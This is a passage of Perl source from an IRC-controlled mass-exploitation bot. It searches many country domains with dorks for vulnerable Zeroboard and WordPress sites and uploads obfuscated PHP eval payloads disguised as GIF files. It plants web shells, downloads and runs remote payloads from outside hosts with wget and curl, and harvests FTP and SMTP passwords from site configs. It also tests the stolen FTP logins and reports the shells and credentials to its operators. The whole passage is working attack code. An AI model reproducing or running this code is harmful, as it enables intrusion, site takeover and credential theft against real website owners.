$header13 = 'Content-Disposition: form-data; name="Filedata"; filename="food.gif"';
$header14 = 'Content-Type: image/gif';
$header15 = 'GIF89aGlobex';
$header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cpPsPyzaSHR04XKtXJyDoKJgStRAaJ/0CyGXsWrJg7027eGUp4r9qc9fOy8FE7mdEpNjz+swzs7NuV1YVK0lXcriY+nvtg2pbfE/8eq41M34rjsIo6vUvr71kZZfce7ft9kKP77ZND1xmk8pXGNIle+DUmrMxPKLD4J9jY1rPh8Or+LwfDektqrm420MPwr9UbjSMVIOeMxjLeQEWNMkSslXElIAHWA25ERga/Sma6XHCir2MgeknLms8BZQeCuNPc8xb4l8atslwWLO0RdwsIHxnfBbGF/3TEAL0z87owdO7LZZ49orVJRjZ1FmVWWgh41l3M16IpGD+siLP/cbHp6cDoKmumd0bqSDI15wG4VJ/GK45FQnPfSoSSBlsN0mfpigIRUzQHU8tVmeHniea5+Rq7FUiyMyYZb/TdnUCwppXYVHvilFZPTDEQxdjIwhVe5ZdqUDcwKQW9LOO1w1e8fTM4v17WBCf+M3U/BEOr700l4LhxODAdUyplK2PgBedDG1Kw/is90prbHwRbWkMMqYNJ92V1Xb/cWcRXg7jTr8/9GED2pmXu1ykbAWm+KxsROYsKHQlDohvjm6XYoe4gHpKwA+cnv03Ws++mx4wV3SS0FDDWs6OU+JCIeeC7JLIbyfRjOX5bsd2D8fqCCupXSYSzpjm/7LuLySVOWfs54/2A4ZUNEvmDehudLxnYYEwrqDhXerTAMqMTgDcGCv02wF6vzXHCBygkIp0XRupS8AjUUumCCiZrpTTL5XrsN6UDxsICSm2NK55O9ubbiaVVQ2XgpRmVVNjvtJs5o5MiiI3ja2qq41FpdQ+6mq8jnSH0aq2RJczbkjt3Q+oQ8xHVxCUBGDcZ/dkWmEnvZa/lOLm5ltlgPXXk9SJkDIPKEYFKWOLANNKuElWbznoRW30OqEnsigSkTUEHmVESYaYUsm61LDPhhLkuFjTIqOb2qgaF3ylamQobFXyyr7fg30HkR1sB5tVGTTIhiiq3PAyRMba7XOJVhrkWjlLzf+UMCpmmXHkjOfMltFO63TVzGuWMUSj1Q77hsEE/Hg1zia+0jrnVBftSBSXeWG998k6iLX4yKbz/vBbnVSwOT5DkuaJ1l2TeTg4kLWOjs2SW0rwBr146xUZu/acZrNgK+uRZNz05eoMebcsjsanhgNBj0luFzJh4OjaeCjxYcHOGtk5LOQDi11nlsV14L/ob4oyaWGwaJd1ApumBvNQT261YY80RgE3JMtjLzwRt4zJhj6q0pR2WgyIgi/DwfLaPyX0gDzZ0/aM5G3oG5bhjEvKd3KR2VurXnilb+sT9HgzTnv2A8tN456P2XSW+hjJYTU3UR30pRurcvMuLUkQcY1upfheCPKbMKhWA05aAAA2K7Y3C2vDzaLhogk68IX3CZ9JKsFQYe/laQMQPNf/V5DvQO3lmuzmifci8P8A')))); ?> ";
$header17 = 'Content-Disposition: form-data; name="upload-name"';
$header18 = 'food';
$header19 = 'Content-Disposition: form-data; name="action"';
$header20 = 'upload';
$header21 = "-----------------------------41184676334--";
$header22 = 'X-Request: JSON';
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$header25 = 'json={"fn":"folderRename","args":["/food.gif","food.php"]}';
$header24 = "Content-Length: ".length($header25)."";
my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
while ($hasil = <$remote>) {
if ($hasil =~ /200 OK/) {
$success = 1;
}
return $success;
}
}
sub ftp() {
my $host = $_[0];
my $user = $_[1];
my $pass = $_[2];
my $chan = $_[3];
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
&msg("$admin","4,1 [8FTP4] [ 8host : ".$host." 4] [ 8login : ".$user." 4] [ 8pass : ".$pass." 4] 8Success ");
&msg("$admin2","4,1 [8FTP4] [ 8host : ".$host." 4] [ 8login : ".$user." 4] [ 8pass : ".$pass." 4] 8Success ");
&msg("$admin3","4,1 [8FTP4] [ 8host : ".$host." 4] [ 8login : ".$user." 4] [ 8pass : ".$pass." 4] 8Success ");
&msg("$chan","4,1 [8FTP4] Found on 8http://$host ");
}
} exit;
}
}
sub rci_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rcilogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
foreach my $jpath(@jpaths) {
my $shell = "http://".$site.$jpath.$jshell;
my $vuln = "http://".$site.$jpath.$jvuln."?name=lobex21.php";
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $status = &rci_upload($vuln);
if ($status = 1) {
my $check = &get_content($shell."?rf");
if ($check =~ /UnKnown - Simple Shell/) {
&get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+alb.txt%3Brm+alb.txt%3Bwget http://www.hanhaho.com/bbs/data/__zbSessionTMP/._zbSessionID/koplok/star.jpg -O star.jpg%3Bphp star.jpg");
my $safe = ""; my $os = ""; my $uid = "";
my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
&msg("$chan","$rcilogo4$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick4 (SafeMode=$safe) (OS=$os) uid=$uid ");
if ($nick eq $admin) {
&msg("$admin","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin2","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin3","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
} else {
&msg("$nick","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin2","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin3","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
}
if ($smtpauth =~ /1/) {
&msg("$chan","4,1 [8SMTP4] Found on 8http://$site ");
&msg("$admin","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
&msg("$admin2","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
&msg("$admin3","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
}
if ($ftpopen =~ /1/){
my $hozt = $site;
$hozt =~ s/\///;
&ftp($hozt,$ftpuser,$ftppass,$chan);
}
}
}
} exit;
}
}
if ($count == $num-1) {
&msg("$chan","$rcilogo4$engine 9Finished 4for 9$dork ");
if ($engine =~ /UoL/) {
&sendraw("mode $chan -m");
}
}
}
}
}
sub rci_upload() {
my $success = 0;
my $url = $_[0];
my $ua = LWP::UserAgent->new;
my $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuM4EP58VfsfjK9FRS207J1BTQFSy05Lqjso17T3paDIWtzWkNiR40NtiP9+M2nSl4Vy2dX2WNuZbHOebDwZh3itZ6RsrrQRZervNQ/eeokJ8bdSRGPjN6IwCMNh72Xkjdktu/Nhms1fHt96Ne5SIVmsV3ZVh+wBqDHncPiJgP6/Tn9RzweDq+i8Fw7oDbqFvN1j94N/hk44iIb9rgsYq3EBEZQljCyYnBJA8NiQeImpEUIxrGATnu0lHE8/CSmiKbD00BhyKuHekv8ysFYeGwWPWC3MAtKHx3ROZ9E7DSBO7+yMHjy92+J2wV+JuoQgW5rrnOsOR5ypwowXknLcX2nkue/o+PS0DzJIPfM7ozQk+RqoH1z0BsEaKHAi9alxujTqaaw/WtHQikhTagi1ItEdbc4KkZI/8VGYJDNw8v1pu5YJBKs7uZbdKxJlfc+RUNXAtSRg7U1olQZmWpNN0s9BvDrglUHPIt6/twKJiV9CzedgMPLiR1aOE4MDRqhFx3x9BLzwpN+9GlF03b+Dy+OLwLNwkPDCCNJMUp32QYYXweUg6vdtA++mUttPQUcrn+U4D5o7Tl36HeLwWsf3Jw7L/puGct8NCwTFM1LooREm5VRQ+ZdHZlZpViiyPOUknPE0PXk77+FLH24nFXGi4JEqxH+88xuJSAoH9OtU+4HAI9pN1nrRw/ZrCWGAMSrhfDvUpy11MwIDdXCs0WK2dfOtNYYAgFNXkWd5pnkBPyHDslGLkunKOf3SuUHrWvXwAKEgxSONV3uczc00k0XGUyhW8jkUIzhB8TxkQkiMJjd8jbJGGK1mSPjo3/Hanp0969pTX8qlaDVqP6BQZkZ3VtDSguD6Zx/X7GmwK/tYJa6vv6cGUX+9VUgIJfNAMp2RDJcGKH2FW5Qwq06H0qPXBT1ETMZxRQtrKHFeGm8WOe9Dwx8MJahkh8ZMTze9bjnOxMrv8kNlz9LS/r+D+DYyO/IONpllOCCbIitGI2WmjY3bWphuNfO6HezmGy0M80exhJyJlNs22hj9rJuZVRIuK7aF474RMAF85cbZxL+0qvnRcnuVxSWfW/Q+TCexlh/VZ+gPf0doJJ/jD1filBVSx7ANgCNM+ejYLLVoDWLIu7ZaRLGR58D1Pi0tIhG42PPVM7DdsDx3WVIHQI/WbvcvLtxj5NWSazcQdIPsHHPqnlQuO0IiDPBfhJgsjxwMtu6SWsuWqcj8lEfYrdsj9UfAhcgT3AtCxC1wsuEPyzjmUk4MmE1fpoPltX9X6AFsskLbM5Groa9IhnTEV0k5s8ReRdVNyzVfn6Df6wnasx9L1gXu+Yg/8NjHWWmruSF3I5ZhrJbNqzNbREMVh5XjVCmo7+KgJzWFnJnZw7evYQwrIIw/gOYJ93abJRlcu7AUGb5e7LhR9i1wzG+GGS1ztHTxbQIWnInIXmBAEi4wS7QYC9c+GCZvTU8uSyb2/mLWTwBn/Q2F/IA6Xk2Q3ZRsLwr0Pw==')))); ?> ";
my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
if ($res->is_success){
$success = 1;
}
return $success;
}
sub cgm_exploit() {
my $chan = $_[0];
my $bugz = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$cgmlogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$cgmlogo4$engine 9Finished 4for 9$dork "); }
my $aplod = LWP::UserAgent->new;
my $res = $aplod->post("http://".$site.$bugz,['qqfile' => ['./xxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
my $hasil = $res->content;
my $path = "wp-content/2013/10/xxx.php";
if ($hasil=~ /xxx.php/){
&msg("$chan","$cgmlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site ");
my $test = "http://".$site.$path;
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $cekap = &get_content($test);
if ($cekap =~ /UnKnown - Simple Shell/) {
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$nick","$cgmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin","$cgmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
}
} exit;
} }
}
}
}
sub zero_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","15(14$engine15)4 Scan finish"); }
my $reslx = "http://".$site.$bug;
my $crot = &get_content($reslx);
if ($crot =~ /Zeroboard/) {
my $sc = system("./zero $reslx 80");sleep(2);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $check = &get_content("http://".$site."/data/shell.php");
if ($check =~ /Cannot execute a blank command/) {
my $laporan = &get_content("http://".$site."/data/shell.php?cmd=uname%20-a");
&msg("$chan","$zerologo(4@3$engine15)(4@3DiCroot Dulu15) 4http://".$site."/data/shell.php?cmd=uname%20-a Uname: $laporan");
my $bxx = &get_content("http://".$site."/data/shell.php?cmd=lwp-download%20http%3A%2F%2Fflickr.com.siyezen-hm.com%2Fbad.php;wget%20http%3A%2F%2Fflickr.com.siyezen-hm.com%2Fbad.php;wget%20http%3A%2F%2Fflickr.com.siyezen-hm.com%2Fbad.php");
my $bx1 = &get_content("http://".$site."/data/shell.php?cmd=lwp-download%20http%3A%2F%2Fflickr.com.siyezen-hm.com%2Fxcrew.php;wget%20 http%3A%2F%2Fflickr.com.siyezen-hm.com%2Fxcrew.php");
my $bxc = &get_content("http://".$site."/data/xcrew.php");
my $vuln1 = "http://".$site."/data/bad.php";
my $vuln2 = "http://".$site."/bbs//data/bad.php";
my $vuln3 = "http://".$site."/zero_board/data/bad.php";
my $vuln4 = "http://".$site."/zb41/data/bad.php";
my $vuln5 = "http://".$site."/zb/data/bad.php";
my $vuln6 = "http://".$site."/board2/data/bad.php";
my $vuln7 = "http://".$site."/zboard//data/bad.php";
my $vuln8 = "http://".$site."/zeroboard//data/bad.php";
my $vuln9 = "http://".$site."/board//data/bad.php";
my $check = &get_content($vuln1);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln1." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln1." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
}
else {
my $check = &get_content($vuln2);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln2." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln2." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln3);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln3." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln3." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln4);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln4." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln4." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln5);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln5." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln5." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln6);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln6." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln6." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln7);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln7." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln7." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln8);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln8." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln8." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
my $check = &get_content($vuln9);
if ( $check =~ /GIF89a/i ) {
my $safe ="";
my $os ="";
my $free ="";
if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
&msg("$chan","$zerologo(4@3$engine15)15(4@3Target Send To15)13 $nick9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln9." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
&msg("$nick","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln9." 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
}
} exit;}
}
}
}
}
}
##################################################################################
sub search_engine() {
my (@total,@clean);
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $logo = $_[4];
if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jackae); push(@total,@jackae); }
if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jackar); push(@total,@jackar); }
if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jackat); push(@total,@jackat); }
if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jackau); push(@total,@jackau); }
if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jackbr); push(@total,@jackbr); }
if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jackca); push(@total,@jackca); }
if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jackcl); push(@total,@jackcl); }
if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jackcn); push(@total,@jackcn); }
if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jackcom); push(@total,@jackcom); }
if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jackcz); push(@total,@jackcz); }
if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jackde); push(@total,@jackde); }
if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jackdk); push(@total,@jackdk); }
if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jackes); push(@total,@jackes); }
if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jackeu); push(@total,@jackeu); }
if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jackfr); push(@total,@jackfr); }
if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jackhu); push(@total,@jackhu); }
if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jackid); push(@total,@jackid); }
if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jackil); push(@total,@jackil); }
if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jackin); push(@total,@jackin); }
if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jackinfo); push(@total,@jackinfo); }
if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jackir); push(@total,@jackir); }
if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jackit); push(@total,@jackit); }
if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jackjp); push(@total,@jackjp); }
if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jackkr); push(@total,@jackkr); }
if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jackmx); push(@total,@jackmx); }
if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jackmy); push(@total,@jackmy); }
if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jacknet); push(@total,@jacknet); }
if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jacknl); push(@total,@jacknl); }
if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jackorg); push(@total,@jackorg); }
if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jackph); push(@total,@jackph); }
if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jackpl); push(@total,@jackpl); }
if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jackro); push(@total,@jackro); }
if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jackru); push(@total,@jackru); }
if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jackth); push(@total,@jackth); }
if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jackua); push(@total,@jackua); }
if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jackuk); push(@total,@jackuk); }
if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jackus); push(@total,@jackus); }
if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jacksi); push(@total,@jacksi); }
if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jackbe); push(@total,@jackbe); }
if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jackbiz); push(@total,@jackbiz); }
if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
